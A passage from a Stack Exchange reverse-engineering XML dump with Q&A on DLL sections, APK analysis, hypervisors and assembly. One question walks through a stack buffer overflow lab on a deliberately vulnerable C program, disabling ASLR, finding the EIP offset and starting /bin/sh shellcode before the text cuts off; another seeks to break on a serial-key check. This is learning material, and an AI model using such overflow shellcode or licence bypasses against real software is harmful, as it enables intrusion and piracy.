rel=&quot;noreferrer&quot;&gt;http://crackmes.cf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://0x00sec.org/t/challenge-collection-reverse-engineering-and-crackme/3027&quot; rel=&quot;noreferrer&quot;&gt;https://0x00sec.org/t/challenge-collection-reverse-engineering-and-crackme/3027&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://reversing.kr/&quot; rel=&quot;noreferrer&quot;&gt;http://reversing.kr/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2021-09-28T23:41:44.543" LastActivityDate="2021-09-28T23:41:44.543" CommentCount="0" CommunityOwnedDate="2017-07-06T20:57:16.410" ContentLicense="CC BY-SA 4.0" />
  <row Id="15777" PostTypeId="1" AcceptedAnswerId="15780" CreationDate="2017-07-06T22:04:04.227" Score="0" ViewCount="247" Body="&lt;p&gt;I've been able to locate the .text section of the module, knowing the base address of that section and its size how would I be able to find the other segments of the DLL, like .rdata, .data, .bss, etc. &lt;/p&gt;&#xA;" OwnerUserId="20747" LastEditorUserId="20747" LastEditDate="2017-07-08T15:49:17.283" LastActivityDate="2017-07-08T15:49:17.283" Title="Finding other segments of a manually mapped DLL having found the .text segment" Tags="|dll|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15779" PostTypeId="2" ParentId="5896" CreationDate="2017-07-07T03:41:23.150" Score="2" Body="&lt;p&gt;Going over &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/kbandla/ImmunityDebugger/blob/master/docs/dc-15-gomez.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;ImmunityDbg presentation&lt;/a&gt; - page 26, &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/kbandla/ImmunityDebugger/tree/master/1.73&quot; rel=&quot;nofollow noreferrer&quot;&gt;v1.73 dir&lt;/a&gt; - dir structure&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/kbandla/ImmunityDebugger/blob/master/1.73/Documentation/IMMLIB.HLP&quot; rel=&quot;nofollow noreferrer&quot;&gt;ImmDbg help file&lt;/a&gt; - &quot;PyHooks ... they look exactly as a python plugin, only that they are placed inside PyHooks directory.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm making and educated guess that &lt;code&gt;PyPlugins&lt;/code&gt; is probably a leftover from previous versions of the debugger and at some point it became known as &lt;code&gt;PyScripts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the actual examples and guidance could be found &lt;a href=&quot;https://github.com/kbandla/ImmunityDebugger/tree/master/1.73/PyScripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-07-07T03:41:23.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15780" PostTypeId="2" ParentId="15777" CreationDate="2017-07-07T04:18:51.620" Score="1" Body="&lt;p&gt;You'll make 2 assumptions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;all virtual memory allocations are done with 4k (0x1000) incremental&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.text&lt;/code&gt; section will (in most cases) be places after the PE header&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, your goal would be to find the DLL's PE header and parse it to find all the parameters of the other sections, assuming they are present. Using above assumptions, you would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decrement your known base address by 0x1000&lt;/li&gt;&#xA;&lt;li&gt;Check that this new address is valid (i.e &lt;code&gt;VirtualQuery&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Check for presence of &lt;code&gt;MZ&lt;/code&gt; signature starting the address from (1)&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If found, parse the header and you can calculate the offsets based on the header data - you already know where &lt;code&gt;.text&lt;/code&gt; located, extrapolate for other sections the same way.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repeat for reasonable amount of times till you find the header.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-07-07T04:18:51.620" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15781" PostTypeId="1" AcceptedAnswerId="15785" CreationDate="2017-07-07T06:59:45.710" Score="0" ViewCount="588" Body="&lt;p&gt;When it comes to reversing apk files, I understand that are mainly 2 approaches. The first involves using a decompilation engine which will try to produce java files which are more readable but can be unreliable when the apk uses obsfucation. The 2nd method i know of involves converting the dex files into smali code which are more reliable but slightly harder to understand. When it comes to detecting malware by looking for method calls, which approach is more suitable? (I am not interested in re-packaging the code into a working apk.)&lt;/p&gt;&#xA;" OwnerUserId="20823" LastEditorUserId="20823" LastEditDate="2017-07-07T08:49:40.827" LastActivityDate="2017-07-07T14:51:34.677" Title="Smali vs Decompilation for malware detection in apk files" Tags="|decompilation|android|java|apk|api|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15782" PostTypeId="2" ParentId="15774" CreationDate="2017-07-07T07:49:54.240" Score="12" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dilsec.wordpress.com/2017/07/06/google-ctf-2017-pwnables-inst_prof-writeup/&quot; rel=&quot;noreferrer&quot;&gt;https://dilsec.wordpress.com/2017/07/06/google-ctf-2017-pwnables-inst_prof-writeup/&lt;/a&gt; (Google CTF Writeup)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.cs.ucsb.edu/~chris/teaching/cs290/projects/proj4.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.cs.ucsb.edu/~chris/teaching/cs290/projects/proj4.html&lt;/a&gt;&#xA;(see Challenge 4 )&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.fireeye.com/blog/threat-research/2015/07/announcing_the_secon.html&quot; rel=&quot;noreferrer&quot;&gt;https://www.fireeye.com/blog/threat-research/2015/07/announcing_the_secon.html&lt;/a&gt; (FLARE)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cedricvb.be/post/reverse-engineering-the-hitb-binary-100-ctf-challenge/&quot; rel=&quot;noreferrer&quot;&gt;https://cedricvb.be/post/reverse-engineering-the-hitb-binary-100-ctf-challenge/&lt;/a&gt;&#xA;(HITB)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Eun/ctf.tf&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/Eun/ctf.tf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://0x00sec.org/c/reverse-engineering/challenges&quot; rel=&quot;noreferrer&quot;&gt;https://0x00sec.org/c/reverse-engineering/challenges&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strike&gt;&lt;a href=&quot;http://crackmes.de/&quot; rel=&quot;noreferrer&quot;&gt;http://crackmes.de/&lt;/a&gt;&lt;/strike&gt; (sadly currently offline - see&#xA;message) &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you can download a archived version of the website here (Crackmes.de (2011 - 2015)): &lt;a href=&quot;https://tuts4you.com/download.php?view.3152&quot; rel=&quot;noreferrer&quot;&gt;https://tuts4you.com/download.php?view.3152&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://challenges.re/&quot; rel=&quot;noreferrer&quot;&gt;https://challenges.re/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15907" LastEditorUserId="15907" LastEditDate="2018-02-20T21:55:15.710" LastActivityDate="2018-02-20T21:55:15.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15783" PostTypeId="1" CreationDate="2017-07-07T11:18:23.790" Score="0" ViewCount="193" Body="&lt;p&gt;Is it possible to use a hypervisor to trap all ring0&amp;lt;-&gt;ring3 transitions (both 0-&gt;3 and 3-&gt;0)? &lt;/p&gt;&#xA;" OwnerUserId="20825" LastActivityDate="2017-07-07T16:14:43.130" Title="Detecting user&lt;-&gt;kernel transitions with hypervisor" Tags="|debugging|debuggers|kernel-mode|kernel|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15785" PostTypeId="2" ParentId="15781" CreationDate="2017-07-07T14:03:47.310" Score="2" Body="&lt;p&gt;Smali, obviously. There's no reason to add an extra level of inefficiency and errors into your tool. Decompilation is primarily useful for making the code easier to read for humans.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2017-07-07T14:03:47.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15786" PostTypeId="1" CreationDate="2017-07-07T14:14:07.080" Score="3" ViewCount="148" Body="&lt;p&gt;in x32/x64 debugger, how can I break when a new window is opened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inside my application, I click the &quot;File&quot; button in the menu bar then select &quot;options&quot; I want to break on that call to open the window. (The window has multiple tabs, with checkboxes and buttons etc I am not sure what type of window this is called)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application I am debugging will show more options if the serial key is valid than if the serial key is missing/invalid so Im trying to break when it does its checking.&lt;/p&gt;&#xA;" OwnerUserId="20507" LastActivityDate="2017-08-28T17:14:30.093" Title="How to break on a window creation" Tags="|x86-64|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15787" PostTypeId="2" ParentId="15781" CreationDate="2017-07-07T14:51:34.677" Score="0" Body="&lt;p&gt;If you want to understand the overall structure, like to locate the suspicious method, I would recommend decompile to java to check first, since java is in a much higher level and can be indexed easily to see the code structure.. For smali, it's more suitable for repackaging since it's just a kind of assembly for dex binary, but its level is low and needs some learning if you're not very familiar with it&lt;/p&gt;&#xA;" OwnerUserId="20811" LastActivityDate="2017-07-07T14:51:34.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15788" PostTypeId="2" ParentId="15783" CreationDate="2017-07-07T16:14:43.130" Score="1" Body="&lt;p&gt;Yes, it is possible. I do not want to go into details as there are a lot of comprehensive material available online:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.read.seas.harvard.edu/~kohler/class/aosref/IA32-3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intels manuals&lt;/a&gt; which you will have to study in any case if you really want to understand how things work (from personal experience)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pdfs.semanticscholar.org/2cd9/bfcc8d8bd7703f265a7a3e7da2167dfb39ff.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;A VMM-based System Call Interposition Framework for Program Monitoring&lt;/a&gt; - one of the countless examples about sys call monitoring mainly for security purposes.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tandasat/HyperPlatform&quot; rel=&quot;nofollow noreferrer&quot;&gt;HyperPlatform&lt;/a&gt; - Intel VT-x based hypervisor aiming to provide a thin VM-exit filtering platform on Windows.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/tandasat/DdiMon&quot; rel=&quot;nofollow noreferrer&quot;&gt;DdiMon&lt;/a&gt; - Monitoring and controlling kernel API calls with stealth hook using EPT&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One of the techniques is to monitor execution of the kernel-mode entering code pointed by &lt;code&gt;IA32_SYSENTER_EIP&lt;/code&gt;/&lt;code&gt;IA32_LSTAR&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-07-07T16:14:43.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15789" PostTypeId="1" AcceptedAnswerId="15790" CreationDate="2017-07-08T00:21:39.510" Score="1" ViewCount="184" Body="&lt;p&gt;so i'm reversing a file format of game. As far as i can understand the file i'm trying to reverse contains compressed textures. I'm already able to locate the textures and decompress them, but i'm not entirely sure if it's compression or some weird encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the process there's a huge buffer that's accessed a lot of times, giving the information of the current pixel being drawn. The buffer contains 4 byte unsigned integers and is generated through the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(uint32_t counter = 0; counter&amp;lt;0x400; counter++){&#xA;&#xA;    //unk1 eax&#xA;    //unk2 edx&#xA;    //unk3 esi&#xA;    //unk4 ecx&#xA;    //loc_5115EB&#xA;    uint32_t unk1 = (counter &amp;gt;&amp;gt; 1) &amp;amp; 0x55555555;&#xA;    uint32_t unk3 = (unk1 * 2) ^ counter;&#xA;    uint32_t unk4 = ((unk3 &amp;gt;&amp;gt; 2) &amp;amp; 0x33333333) ^ ((counter &amp;gt;&amp;gt; 1) &amp;amp; 0x11111111);&#xA;&#xA;    unk1 ^= unk4;&#xA;    unk3 ^= (unk4 &amp;lt;&amp;lt; 2);&#xA;&#xA;    unk4 = ((unk3 &amp;gt;&amp;gt; 4) &amp;amp; 0x0F0F0F0F) ^ (unk1 &amp;amp; 0x0F0F0F0F);&#xA;    unk1 ^= unk4;&#xA;    unk3 ^= (unk4 &amp;lt;&amp;lt; 4);&#xA;&#xA;    unk4 = ((unk3 &amp;gt;&amp;gt; 8) &amp;amp; 0x00FF00FF) ^ (unk1 &amp;amp; 0x00FF00FF);&#xA;&#xA;    buffer[counter] = (((unk4 &amp;amp; 0xFF) &amp;lt;&amp;lt; 8) ^ (unk3 &amp;amp; 0xFFFF)) | ((unk4 ^ unk1) &amp;lt;&amp;lt; 16); &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The resulting sequence in hex is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;00 00 00 00 01 00 00 00 04 00 00 00 05 00 00 00 10 00 00 00 11 00 00 00 14 00 00 00 15 00 00 00 40 00 00 00 41 00 00 00 44 00 00 00 45 00 00 00 50 00 00 00 51 00 00 00 54 00 00 00 55 00 00 00 00 01 00 00 01 01 00 00 04 01 00 00 05 01 00 00 10 01 00 00 11 01 00 00 14 01 00 00 15 01 00 00 40 01 00 00 41 01 00 00 44 01 00 00 45 01 00 00 50 01 00 00 51 01 00 00 54 01 00 00 55 01 00 00 00 04 00 00 01 04 00 00 04 04 00 00 05 04 00 00 10 04 00 00 11 04 00 00 14 04 00 00 15 04 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or in decimal 0, 1, 4, 5, 16, 17, 20, 21, 64, 65...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to search it online but couldn't find any info regarding the sequence.&#xA;But i found 0x55555555 and the others numbers are &quot;magic&quot; numbers, having a wide use.&lt;/p&gt;&#xA;" OwnerUserId="15566" LastEditorUserId="15566" LastEditDate="2017-07-08T15:53:28.733" LastActivityDate="2017-07-08T15:53:28.733" Title="What does this sequence of numbers mean?" Tags="|static-analysis|encryption|hex|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15790" PostTypeId="2" ParentId="15789" CreationDate="2017-07-08T15:52:26.737" Score="2" Body="&lt;p&gt;Asked this to a person who has more knowledge than me and he was able to answer!&lt;/p&gt;&#xA;&lt;p&gt;This is the &lt;a href=&quot;http://oeis.org/A000695&quot; rel=&quot;nofollow noreferrer&quot;&gt;Moser-de Bruijn sequence&lt;/a&gt; and looks like it's used for binary interleaving which is really important in this case, since i'm working with image compression.&lt;/p&gt;&#xA;&lt;p&gt;By the way I have to apologize since i should've posted a more significant decimal representation of the sequence, which is now added to the main post.&lt;/p&gt;&#xA;" OwnerUserId="15566" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-07-08T15:52:26.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15792" PostTypeId="1" CreationDate="2017-07-08T19:36:48.507" Score="1" ViewCount="598" Body="&lt;p&gt;I wrote a program which will add two numbers in assembly.&#xA;When I do a system call for &lt;code&gt;scanf()&lt;/code&gt;, the instruction looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rcx, num1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I have defined &lt;code&gt;num1&lt;/code&gt; in the &lt;code&gt;bss&lt;/code&gt; section as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;num1 resb 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, when I try to move this value to say &lt;code&gt;rax&lt;/code&gt; the instruction looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, [num1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I have learned, anything inside square brackets must only be computed in case of &lt;code&gt;rm32&lt;/code&gt;. So, more like going to memory location but not reading what's in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this bracket helping here ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do we need the memory location when we can have the direct value?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my next instruction is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub rax, '00'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rax&lt;/code&gt; contains an address of &lt;code&gt;num1&lt;/code&gt;. Shouldn't we be doing math to the value &lt;code&gt;num1&lt;/code&gt; and not on the address ?&lt;/p&gt;&#xA;" OwnerUserId="20763" LastEditorUserId="53" LastEditDate="2017-07-09T11:30:42.627" LastActivityDate="2017-07-09T11:45:27.277" Title="Basic assembly query" Tags="|ida|assembly|intel|" AnswerCount="1" CommentCount="2" ClosedDate="2017-07-09T14:02:48.557" ContentLicense="CC BY-SA 3.0" />
  <row Id="15794" PostTypeId="2" ParentId="15605" CreationDate="2017-07-09T00:47:00.777" Score="0" Body="&lt;p&gt;It was actually pretty easy to do in Visual Studio with a bit of basic research.&#xA;I created a console application, the main functionality is contained within these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            Assembly myAssembly;&#xA;            //full path to dll&#xA;            myAssembly = Assembly.LoadFile(args[0]);&#xA;&#xA;            object obj;&#xA;            Type myType = myAssembly.GetType(&quot;Keyboard_Core.KeyboardControl&quot;);&#xA;            obj = Activator.CreateInstance(myType);&#xA;            IEnumerable list = myType.GetMethods();&#xA;            MethodInfo setKeyboardBackLightStatusInfo = GetRuntimeMethodsExt(myType, &quot;SetKeyboardBackLightStatus&quot;);&#xA;&#xA;&#xA;            object[] arguments = new object[] { Int32.Parse(args[1]) };&#xA;            UInt32 output = (UInt32)setKeyboardBackLightStatusInfo.Invoke(obj, arguments);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;list&quot; parameter is useless for normal usage but useful when debugging. With that, it's easy to see what the available functions are and their signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;args[0] points to the absolute path of the DLL, including its name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;args[1] is the int parameter to be given to the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a modified version of the answer linked below, to avoid having to manually give Type parameters: &lt;a href=&quot;https://stackoverflow.com/questions/21307845/runtimereflectionextensions-getruntimemethod-does-not-work-as-expected&quot;&gt;https://stackoverflow.com/questions/21307845/runtimereflectionextensions-getruntimemethod-does-not-work-as-expected&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The modified (unsafe) version is basically this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    static MethodInfo GetRuntimeMethodsExt(this Type type, string name)&#xA;    {&#xA;        var potentials = (from ele in type.GetMethods()&#xA;                          where ele.Name.Equals(name)&#xA;                          select ele);&#xA;&#xA;        // Maybe check if we have more than 1? Or not?&#xA;        return potentials.FirstOrDefault();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20611" LastActivityDate="2017-07-09T00:47:00.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15795" PostTypeId="2" ParentId="15792" CreationDate="2017-07-09T11:45:27.277" Score="1" Body="&lt;p&gt;First of all, you are using the Intel syntax for the x86/amd64 assembly. So, in this syntax the brackets (&lt;code&gt;[.]&lt;/code&gt;) stands for a dereference of the address it contains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know C programming, &lt;code&gt;[var]&lt;/code&gt; (in assembly) is exactly similar to '*var'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, the only small difficulty you have to handle here is that the &lt;code&gt;num1&lt;/code&gt; that you defined is already an address (I am speaking now about the nasm syntax and NOT about the Intel asm syntax). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;code&gt;move rcx, num1&lt;/code&gt; means that you copy the address of &lt;code&gt;num1&lt;/code&gt; to &lt;code&gt;rcx&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, &lt;code&gt;move rax, [num1]&lt;/code&gt; means that you copy the content of &lt;code&gt;num1&lt;/code&gt; to &lt;code&gt;rax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may refer to this &lt;a href=&quot;https://stackoverflow.com/questions/8145243/x86-asm-linux-using-the-bss-section&quot;&gt;SO question&lt;/a&gt; which might explain your problem.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-07-09T11:45:27.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15796" PostTypeId="2" ParentId="15572" CreationDate="2017-07-10T02:28:37.500" Score="8" Body="&lt;p&gt;I'm going to add my findings as an answer as it turns out its actually very simple in the new debuggers (I don't believe ollyDBG has this function).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X32DBG and X64DBG can be used with the same process&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Open the executable file (exe) in the debugger (depending on whether exe is 32bit or 64 bit choose the right debugger)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) select the &quot;breakpoints&quot; tab&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) find the section titled &quot;dll breakpoints&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Right click in this section and choose &quot;add&quot; type in the name of the dll file. Eg &quot;module.dll&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) Now run your process, the debugger will break when this dll is loaded&lt;/p&gt;&#xA;" OwnerUserId="20507" LastActivityDate="2017-07-10T02:28:37.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15798" PostTypeId="1" CreationDate="2017-07-10T15:26:03.703" Score="2" ViewCount="6933" Body="&lt;p&gt;I have been doing an exercise about a buffer overload on a C program, the goal of this problem is to &lt;strong&gt;get the root shell&lt;/strong&gt; once I have inserted a &lt;strong&gt;shellcode&lt;/strong&gt; into the program. This is what I have until now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 1.- Firstable let´s see my C code in the file called file.c :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# cat ./file.c&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;void premio()&#xA;{&#xA;     printf(&quot;I have altered the programs flow\n&quot;);&#xA;}&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    char buffer[100];&#xA;    if (argc != 2)&#xA;   {&#xA;         printf(&quot;Use: %s argument\n&quot;,argv[0]);&#xA;         return -1;&#xA;    }&#xA;    strcpy(buffer,argv[1]);&#xA;    printf (&quot;%s\n&quot;,buffer);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 2.- I have compilled it and deactivate the ASLR to avoid receiving random addresses as follows:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -fno-stack-protector -z execstack buffer.c -o buffer&#xA;&#xA;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 3.- Let´s check how it works :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# ./file string&#xA;string&#xA;root@kali:~# ./file `ruby -e 'print &quot;a&quot;*99'`&#xA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;root@kali:~# ./file `ruby -e 'print &quot;a&quot;*100'`&#xA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;root@kali:~# ./file `ruby -e 'print &quot;a&quot;*125'`&#xA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;Segmentation fault  (this means we have overwritten the EIP register)&#xA;&#xA;root@kali:~# gdb ./file&#xA;(gdb) run  `ruby -e 'print &quot;a&quot;*125'`&#xA;Starting program: /root/file `ruby -e 'print &quot;a&quot;*125'`&#xA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x0000006161616161 in ?? () (this is the value of EIP beacuse of the letter a)&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 4.- We will find the value of the position of EIP using :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# ./pattern_create.rb -l 125&#xA;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae&#xA;root@kali:~# gdb ./file&#xA;(gdb) run &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae&quot;&#xA;Starting program: /root/file &quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae&quot;&#xA;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae&#xA;&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x0000006541306541 in ?? ()&#xA;&#xA;root@kali:~# ./pattern_offset.rb -q 0x0000006541306541 -l 125&#xA;[*] Exact match at offset 120&#xA;&#xA;In this case we have found that if we write 120 characters the next 5 will be EIP&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 5.- -Now we will create a script to overwrite the buffer with the shellcode, the shellcode was taken from :&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\x31 \xc0                   xor eax, eax&#xA;\x50                        push eax&#xA;//PUSH /bin&#xA;\x68\x2f\x2f\x73\x68        push 0x68732f2f&#xA;//PUSH 